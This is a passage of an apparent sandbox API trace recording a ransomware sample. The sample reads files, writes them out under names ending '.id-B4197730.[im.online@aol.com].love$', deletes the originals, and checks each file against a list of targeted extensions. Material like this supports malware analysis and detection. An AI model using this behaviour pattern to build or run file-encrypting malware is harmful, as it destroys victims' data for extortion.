| out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.109] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe4, lpOverlapped=0x0) returned 1 [0097.109] SetEndOfFile (hFile=0x344) returned 1 [0097.109] CloseHandle (hObject=0x344) returned 1 [0097.111] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.111] SetEndOfFile (hFile=0x2d8) returned 1 [0097.112] CloseHandle (hObject=0x2d8) returned 1 [0097.112] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.112] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0097.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.113] lstrlenW (lpString=".doc") returned 4 [0097.113] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.113] lstrlenW (lpString=".docx") returned 5 [0097.113] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.113] lstrlenW (lpString=".pdf") returned 4 [0097.113] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.113] lstrlenW (lpString=".xls") returned 4 [0097.113] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.113] lstrlenW (lpString=".xlsx") returned 5 [0097.113] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.113] lstrlenW (lpString=".ppt") returned 4 [0097.113] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.113] lstrlenW (lpString=".zip") returned 4 [0097.113] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.113] lstrlenW (lpString=".rar") returned 4 [0097.113] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.113] lstrlenW (lpString=".bz2") returned 4 [0097.113] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.113] lstrlenW (lpString=".7z") returned 3 [0097.114] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString=".dbf") returned 4 [0097.114] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString=".1cd") returned 4 [0097.114] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString=".jpg") returned 4 [0097.114] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString=".doc") returned 4 [0097.114] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString=".docx") returned 5 [0097.114] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.114] lstrlenW (lpString=".pdf") returned 4 [0097.114] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString=".xls") returned 4 [0097.114] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.114] lstrlenW (lpString=".xlsx") returned 5 [0097.114] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.114] lstrlenW (lpString=".ppt") returned 4 [0097.114] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.114] lstrlenW (lpString=".zip") returned 4 [0097.114] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.115] lstrlenW (lpString=".rar") returned 4 [0097.115] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.115] lstrlenW (lpString=".bz2") returned 4 [0097.115] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.115] lstrlenW (lpString=".7z") returned 3 [0097.115] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.115] lstrlenW (lpString=".dbf") returned 4 [0097.115] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.115] lstrlenW (lpString=".1cd") returned 4 [0097.115] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0097.115] lstrlenW (lpString=".jpg") returned 4 [0097.115] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.115] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0097.115] lstrlenW (lpString="LocalizedData.xml") returned 17 [0097.115] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.116] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=86284) returned 1 [0097.116] CloseHandle (hObject=0x2d8) returned 1 [0097.116] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0097.116] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.116] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.116] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0097.117] GetLastError () returned 0x0 [0097.117] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0097.122] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x15110, lpOverlapped=0x0) returned 1 [0097.126] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.126] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf6, lpOverlapped=0x0) returned 1 [0097.126] SetEndOfFile (hFile=0x344) returned 1 [0097.127] CloseHandle (hObject=0x344) returned 1 [0097.130] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.130] SetEndOfFile (hFile=0x2d8) returned 1 [0097.132] CloseHandle (hObject=0x2d8) returned 1 [0097.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.133] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0097.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.133] lstrlenW (lpString=".doc") returned 4 [0097.133] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.133] lstrlenW (lpString=".docx") returned 5 [0097.133] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.133] lstrlenW (lpString=".pdf") returned 4 [0097.133] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.133] lstrlenW (lpString=".xls") returned 4 [0097.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.133] lstrlenW (lpString=".xlsx") returned 5 [0097.133] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.133] lstrlenW (lpString=".ppt") returned 4 [0097.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString=".zip") returned 4 [0097.134] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.134] lstrlenW (lpString=".rar") returned 4 [0097.134] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString=".bz2") returned 4 [0097.134] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString=".7z") returned 3 [0097.134] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString=".dbf") returned 4 [0097.134] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString=".1cd") returned 4 [0097.134] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString=".jpg") returned 4 [0097.134] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.134] lstrlenW (lpString=".doc") returned 4 [0097.134] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString=".docx") returned 5 [0097.134] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.134] lstrlenW (lpString=".pdf") returned 4 [0097.134] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.134] lstrlenW (lpString=".xls") returned 4 [0097.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString=".xlsx") returned 5 [0097.135] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.135] lstrlenW (lpString=".ppt") returned 4 [0097.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.135] lstrlenW (lpString=".zip") returned 4 [0097.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.135] lstrlenW (lpString=".rar") returned 4 [0097.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString=".bz2") returned 4 [0097.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString=".7z") returned 3 [0097.135] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.135] lstrlenW (lpString=".dbf") returned 4 [0097.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.135] lstrlenW (lpString=".1cd") returned 4 [0097.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0097.135] lstrlenW (lpString=".jpg") returned 4 [0097.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.135] Sleep (dwMilliseconds=0x64) [0097.453] Sleep (dwMilliseconds=0x64) [0099.104] Sleep (dwMilliseconds=0x64) [0099.869] Sleep (dwMilliseconds=0x64) [0100.195] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0100.195] lstrlenW (lpString="eula.rtf") returned 8 [0100.195] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.307] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6851) returned 1 [0100.307] CloseHandle (hObject=0x354) returned 1 [0100.308] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0100.308] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.308] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.308] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.309] GetLastError () returned 0x0 [0100.309] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0100.311] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0100.312] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.312] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe4, lpOverlapped=0x0) returned 1 [0100.312] SetEndOfFile (hFile=0x318) returned 1 [0100.313] CloseHandle (hObject=0x318) returned 1 [0100.319] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.319] SetEndOfFile (hFile=0x354) returned 1 [0100.320] CloseHandle (hObject=0x354) returned 1 [0100.320] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.321] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0100.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.321] lstrlenW (lpString=".doc") returned 4 [0100.321] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.321] lstrlenW (lpString=".docx") returned 5 [0100.321] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.321] lstrlenW (lpString=".pdf") returned 4 [0100.321] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.321] lstrlenW (lpString=".xls") returned 4 [0100.322] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.322] lstrlenW (lpString=".xlsx") returned 5 [0100.322] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.322] lstrlenW (lpString=".ppt") returned 4 [0100.322] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.322] lstrlenW (lpString=".zip") returned 4 [0100.322] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.322] lstrlenW (lpString=".rar") returned 4 [0100.322] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.322] lstrlenW (lpString=".bz2") returned 4 [0100.322] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.322] lstrlenW (lpString=".7z") returned 3 [0100.322] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.322] lstrlenW (lpString=".dbf") returned 4 [0100.322] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.323] lstrlenW (lpString=".1cd") returned 4 [0100.323] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.323] lstrlenW (lpString=".jpg") returned 4 [0100.323] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.323] lstrlenW (lpString=".doc") returned 4 [0100.323] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString=".docx") returned 5 [0100.323] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.323] lstrlenW (lpString=".pdf") returned 4 [0100.323] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString=".xls") returned 4 [0100.323] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.323] lstrlenW (lpString=".xlsx") returned 5 [0100.323] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.323] lstrlenW (lpString=".ppt") returned 4 [0100.323] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.323] lstrlenW (lpString=".zip") returned 4 [0100.323] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.323] lstrlenW (lpString=".rar") returned 4 [0100.323] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.323] lstrlenW (lpString=".bz2") returned 4 [0100.324] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.324] lstrlenW (lpString=".7z") returned 3 [0100.324] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.324] lstrlenW (lpString=".dbf") returned 4 [0100.324] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.324] lstrlenW (lpString=".1cd") returned 4 [0100.324] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0100.324] lstrlenW (lpString=".jpg") returned 4 [0100.324] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.324] Sleep (dwMilliseconds=0x64) [0100.698] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0100.699] lstrlenW (lpString="eula.rtf") returned 8 [0100.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.723] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10125) returned 1 [0100.723] CloseHandle (hObject=0x338) returned 1 [0100.738] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0100.738] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.739] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.739] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.739] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.739] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.739] GetLastError () returned 0x0 [0100.739] ReadFile (in: hFile=0x338, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x278d, lpOverlapped=0x0) returned 1 [0100.742] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x2790, lpOverlapped=0x0) returned 1 [0100.743] ReadFile (in: hFile=0x338, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.743] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe4, lpOverlapped=0x0) returned 1 [0100.744] SetEndOfFile (hFile=0x354) returned 1 [0100.744] CloseHandle (hObject=0x354) returned 1 [0100.745] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.745] SetEndOfFile (hFile=0x338) returned 1 [0100.746] CloseHandle (hObject=0x338) returned 1 [0100.746] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.747] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0100.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.747] lstrlenW (lpString=".doc") returned 4 [0100.747] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.747] lstrlenW (lpString=".docx") returned 5 [0100.747] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.747] lstrlenW (lpString=".pdf") returned 4 [0100.747] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.747] lstrlenW (lpString=".xls") returned 4 [0100.747] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.747] lstrlenW (lpString=".xlsx") returned 5 [0100.747] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.748] lstrlenW (lpString=".ppt") returned 4 [0100.748] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString=".zip") returned 4 [0100.748] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.748] lstrlenW (lpString=".rar") returned 4 [0100.748] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString=".bz2") returned 4 [0100.748] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.748] lstrlenW (lpString=".7z") returned 3 [0100.748] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0100.748] lstrlenW (lpString=".dbf") returned 4 [0100.748] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.748] lstrlenW 